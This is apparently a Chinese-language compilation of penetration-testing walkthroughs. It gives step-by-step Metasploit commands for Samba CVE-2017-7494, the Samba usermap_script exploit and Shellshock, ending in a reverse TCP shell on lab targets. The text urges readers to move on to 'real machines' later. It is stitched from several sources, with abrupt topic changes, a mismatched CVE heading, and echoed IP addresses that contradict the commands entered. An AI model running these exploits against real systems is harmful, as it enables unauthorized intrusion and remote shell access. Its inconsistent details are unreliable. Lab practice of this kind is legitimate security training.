smb其它漏洞Linux smb漏洞(CVE-2017-7494)复现(使用老版本)
查看samba版本并打开samba配置文件添加以下配置
查看samba版本vi/etc/samba/smb.conf
参考其他人分析在末行加入
[public] comment = public browseable = yes writeable =yes path = /tmp/public public = yes read only = noKali Linux 2017里面创建Samba共享目录
创建共享目录
root@kali:~# mkdir /tmp/public
修改读写执行权限
root@kali:~# chmod 777 /tmp/public
这是SambaCry漏洞利用的前提,必须有一个共享目录,这样攻击者就可以在这个共享目录传递攻击代码并执行,获取到Root权限并控制肉鸡
Kali Linux 2017 重启/启动Samba服务
重启samba服务
root@kali:~# /etc/init.d/samba restart
查看samba进程
root@kali:~# ps aux | grep samba
查看samba端口状态(采用139和445端口)
root@kali:~# netstat -tnlp samba
查看samba进程
root@kali:~# ps aux | grep samba
查看samba端口状态(采用139和445端口)
root@kali:~# netstat -tnlp samba
更新MSF后使用"exploit/linux/samba/is_known_pipename"利用模块,设置rhost后直接exploit即可得到shell。
利用 samba 服务漏洞入侵linux主机(CVE-2020-0796与samba低版本漏洞利用)
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等.本文将简单介绍metasploit利用samba漏洞入侵进入远程linux主机.
1、首先要扫描目标主机上开放的端口和服务,用nmap,命令如下:
nmap -sS-Pn -A 192.168.0.142
2、发现主机上开放的139,445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter 会话,需要用到metasploit.
3、打开metasploit之后需要先判断samba的版本,命令如下:
msf>search scanner/samba
这条命令用来查找samba相关exploit参数
4、然后使用如下命令来定义要扫描samba的版本所用到的exploits参数。
msf>use auxiliary/scanner/smb/smb_version
msfauxiliary(smb_version)> set RHOSTS 192.168.60.31
这条命令定义你将要扫描samba版本的远程主机的IP地址.
exploit
该命令将开始漏洞利用
5、发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机
msf>use exploit/multi/samba/usermap_script
msfexploit(usermap_script) > set RHOST 192.168.60.31
msfexploit(usermap_script) > exploit
执行完成以上命令如图所示,成功创建了shell 会话.
Bash Shellshock CVE-2014-6271(破壳)
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。
本次实战环境
metasploitable2是一个非常不错的靶机,内置了多种漏洞来练习你的黑客技术。我将在独立网络环境中使用kali来攻击它,建议你也跟我一样,确保在第一次尝试攻击时结果跟我一样,等你技术娴熟之后便可以去渗透真实的机器了。
要利用此漏洞,需要在cgi-bin目录中有一个可执行脚本。一个简单的输出“hello world”脚本即可,因为仅仅是作为演示。进入到靶机的/usr/lib/cgi-bin/目录下,输入以下命令:
sudo nano hello.sh
输入正确的密码,然后对hello.sh脚本进行编辑#! /bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello world!"
我们来验证一下,通过浏览器访问该脚本,可以看到已经成功执行。
第二步:准备攻击
在kali中,终端输入msfconsole来启动metasploit。可以看到一个随机的欢迎界面和metasploit命令提示符。
我们可以使用search命令来搜索exploits。输入shellshock,就能找到apache_mod_cgi_bash_env_exec模块,复制模块路径
现在可以看到一个更长的命令提示符,显示模块已加载。
输入options来查看模块的各种设置:
大部分配置保持默认即可,我们只需要设置远程IP地址rhost和文件路径targeturi,如下所示:
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhosts 192.168.0.102
rhosts => 172.16.1.102
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LHOST 192.168.0.100
Lhost => 172.16.1.100
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/hello.sh
targeturi => /cgi-bin/hello.sh
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >
然后我们需要选择一个payload。输入show options来查看不同的payloads和对应的payload信息。
这里我们选择一个反向TCP shell就可以了,所以我们输入
set payload linux / x86
/ shell / reverse_tcp来启用模块
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
再次输入options,我们可以看到模块的当前设置包括payload信息。
第三步 getshell
一些metasploit模块有一个非常便利的小功能,就是检测靶机是否存在漏洞,输入check即可,这会将靶机是否存在漏洞的信息显示出来。
我们可以看到,靶机确实是存在漏洞的,现在我们输入exploit来发起攻击。很快我们就获得了一个shell会话,我们可以在会话中输入命令,比如id或者whoami来查看当前用户的信息了。
网友评论